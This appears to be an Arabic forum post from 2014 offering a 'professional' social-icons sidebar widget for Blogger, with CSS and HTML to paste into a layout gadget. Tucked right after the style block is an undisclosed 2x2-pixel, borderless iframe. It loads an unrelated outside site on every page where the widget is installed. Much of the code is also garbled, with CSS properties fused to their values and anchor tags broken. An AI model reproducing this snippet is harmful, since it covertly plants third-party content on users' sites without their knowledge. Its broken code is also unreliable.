عرض مشاركة واحدة
قديم 02-22-2014, 01:39 PM   #1
Blog-Add
مدون نشيط
 
تاريخ التسجيل: Feb 2014
المشاركات: 124
افتراضي أيقونات الشبكات الاجتماعية بشكل احترافي - بلوجر

السلام عليكم ورحمة الله وبركاته

اقدم لكم اضافة الشبكات الاجتماعية احترافية 2014 باشكال مختلفة

تساعدك علي زيادة عدد معجبين صفحاتك بالشبكات الاجتماعية

الشرح :

اذهب الي صفحة التخطيط واضف اداة جديدة HTML واضف بها الكود التالي :

كود PHP:
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 
font-family'entypo'sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 
list-stylenone;
 
margin0;
 
padding0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 
left0;
 
margin-top: -75px/* (li * a:width) / -2 */
 
positionfixed;
 
top50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 
background#121212;
 
color#fff;
 
displayblock;
 
height50px;
 
font-size18px;
 
line-height50px;
 
positionrelative;
 
text-aligncenter;
 
width50px;
}
#social-sidebar ul li a:hover span {
 
left130%;
 
opacity1;
}
#social-sidebar ul li a span {
 
border-radius3px;
 
line-height24px;
 
left: -100%;
 
margin-top: -16px;
 -
ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 
filteralpha(opacity=0);
 
opacity0;
 
padding4px 8px;
 
positionabsolute;
 -
webkit-transitionopacity .3sleft .4s;
 -
moz-transitionopacity .3sleft .4s;
 -
ms-transitionopacity .3sleft .4s;
 -
o-transitionopacity .3sleft .4s;
 
transitionopacity .3sleft .4s;
 
top50%;
 
z-index: -1;
}
#social-sidebar ul li a span:before {
 
content"";
 
displayblock;
 
height8px;
 
left: -4px;
 
margin-top: -4px;
 
positionabsolute;
 
top50%;
 -
webkit-transformrotate(45deg);
 -
moz-transformrotate(45deg);
 -
ms-transformrotate(45deg);
 -
o-transformrotate(45deg);
 
transformrotate(45deg);
 
width8px;
 
z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<
div id="social-sidebar">
 <
ul>
<
li>
<
class="entypo-twitter" href="https://twitter.com/" rel="nofollow" target="_blank">
<
span>Twitter</span>
</
a>
</
li>
<
li>
 <
class="entypo-gplus" href="https://plus.google.com/" rel="nofollow" target="_blank">
<
span>google+</span>
</
a>
</
li>
<
li>
<
class="entypo-tumblr" href="http://www.tumblr.net/" rel="nofollow" target="_blank">
<
span>tumblr</span>
</
a>
</
li>
<
li>
 <
class="entypo-facebook" href="https://www.facebook.com/" rel="nofollow" target="_blank">
<
span>facebook</span>
</
a>
</
li>
<
li>
 <
class="entypo-rss" href="http://feeds.feedburner.com/" rel="nofollow" target="_blank">
<
span>feedburner</span>
 </
a>
</
li>
</
ul>
 </
div
مع تغيير روابط الصفحات الي روابط صفحاتك علي الشبكات الاجتماعية

الدعم العربي

Blog-Add غير متواجد حالياً   رد مع اقتباس